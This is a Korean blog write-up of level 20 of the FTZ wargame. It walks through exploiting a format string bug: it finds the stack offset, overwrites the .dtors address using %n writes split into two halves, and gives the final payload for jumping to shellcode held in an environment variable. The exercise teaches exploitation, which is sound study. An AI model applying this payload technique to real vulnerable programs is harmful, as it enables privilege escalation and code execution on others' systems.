[ftz] level 20: we are just regular guys
20_포맷스트링 복습
√ 문제 분석
- 80byte 문자 배열 선언
- clear 계정 권한 부여
- 키보드 입력의 79byte만 bleh 배열에 저장
: 입력값에 대한 경계 검사를 하고 있어서 BOF로 main() 스택프레임의 RET을 덮어쓸 수 없음.
- 입력받은 값 출력됨
bleh[80] |
dummy[8] |
SFP |
RET |
입력값 경계 검사를 하고 있으므로, BOF가 아닌 포맷스트링 취약점을 이용해 공격해보자.
- 포맷스트링 버그가 있음을 확인
1. 입력값이 stack에서 얼만큼 떨어져 있나?
- 네번째에 입력 문자열이 표시되는 것을 확인
2. 덮어써야 할 .dtor의 주소 확인
- nm 프로그램으로는 메모리에 올라온 심볼들이 보이지 않음
: 심볼 분석이 되지 않도록 컴파일하면 바이너리들의 정보를 이렇게 숨겨 리버싱하지 못하게 할 수 있다.
>> objdump 이용
- 4byte만큼 떨어진 주소인 __DTOR_END__ 심볼을 덮어야 함
: 0x08049598
√ 공격
printf("AAAA%08x.%08x.%08x.%08x") |
0x0000004f |
0x4212ecc0 |
0x4207a750 |
bleh[80] |
dummy[8] |
SFP |
RET |
- 맨 위: %x를 입력해서 메모리값을 출력하는 방법
printf() 안의 문자열은 bleh[] 배열에 들어가게 된다.
- printf(bleh[]) 함수 호출이 처리되는 순간 %08x를 세번 만나게 된다.
한 번 만날 때마다 4byte 앞의 메모리에 있는 값을 출력
위의 스택 순서로 메모리 값이 출력되는 것!
* printf("AAAA%08x.%08x.%08x.%08x")가 포맷스트링이 있는 부분
: 포맷스트링(*fmt_string)
** 포맷스트링 공격 핵심 원리
: %n 형식 지정자를 이용해 우리가 원하는 주소에 실행하고 싶은 셸코드의 주소를 덮어쓰는 것
* 페이로드
(printf "낮은주소낮은주소높은주소높은주소")%8x%8x%8x%낮은셸코드주소c%n%높은셸코드주소c%n
(printf "AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08")%8x%8x%8x~~c%n%~~c%n
** 셸코드의 주소를 10진수로 바꾸어 넣어야 한다.
환경변수 주소: 0xbffffb78
** 셸코드의 주소를 10진수로 변환
- %c라는 서식문자가 포함되어 있기 때문에, stack의 4byte를 출력하게 된다.
- 일반 x86 시스템에선 정수를 이용하여 0xffffffff만큼의 크기를 지정할 수 없다.
>> 쉘코드의 주소를 2byte씩 나누어서 입력!
0xbffffb78 = bfff / fb78로 나누어 각각 10진수로 바꾸기
RET=08049598, 98 부분에 2byte인 fab8 입력, 2byte 증가해서 9a부분에 나머지 입력
+ 리틀 엔디안 방식이므로, 낮은 자리수를 먼저 입력
- 쉘코드를 10진수로 바꾸면
1) 64376, 2) 49151
%n은 자신이 나오기 전까지의 모든 자릿수를 계산
1) AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x에 대한 자릿수까지 계산한다.
따라서 위 자릿수(4+4+4+4+8 * 3) = 40이므로, 40을 빼야 한다.
64376 - 40 = 64336
2) 에서도 AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%64336c%n에 대한 자릿수까지 계산한다.
이에 대한 자릿수는 64336이므로 이를 빼줘야 한다.
>> 49151에서 64376을 빼면 음수가 되므로, bfff 앞에 1을 붙여 1bfff를 10진수로 변환한 값(114687)에서 빼주자.
114687 - 64376 = 50311
>> 최종 페이로드
AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%64336c%n%50311c%n
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
드디어 ftz의 모든 level을 clear했다!!!!!
'write-up > pwnable' 카테고리의 다른 글
[LOB] LOB TIP (0) | 2019.09.15 |
---|---|
[LOB] level 1: gate (0) | 2019.09.14 |
[ftz] level 19: swimming in pink (0) | 2019.08.27 |
[ftz] level 18: why did you do it (0) | 2019.08.27 |
[ftz] level 17: king poetic (0) | 2019.08.26 |
댓글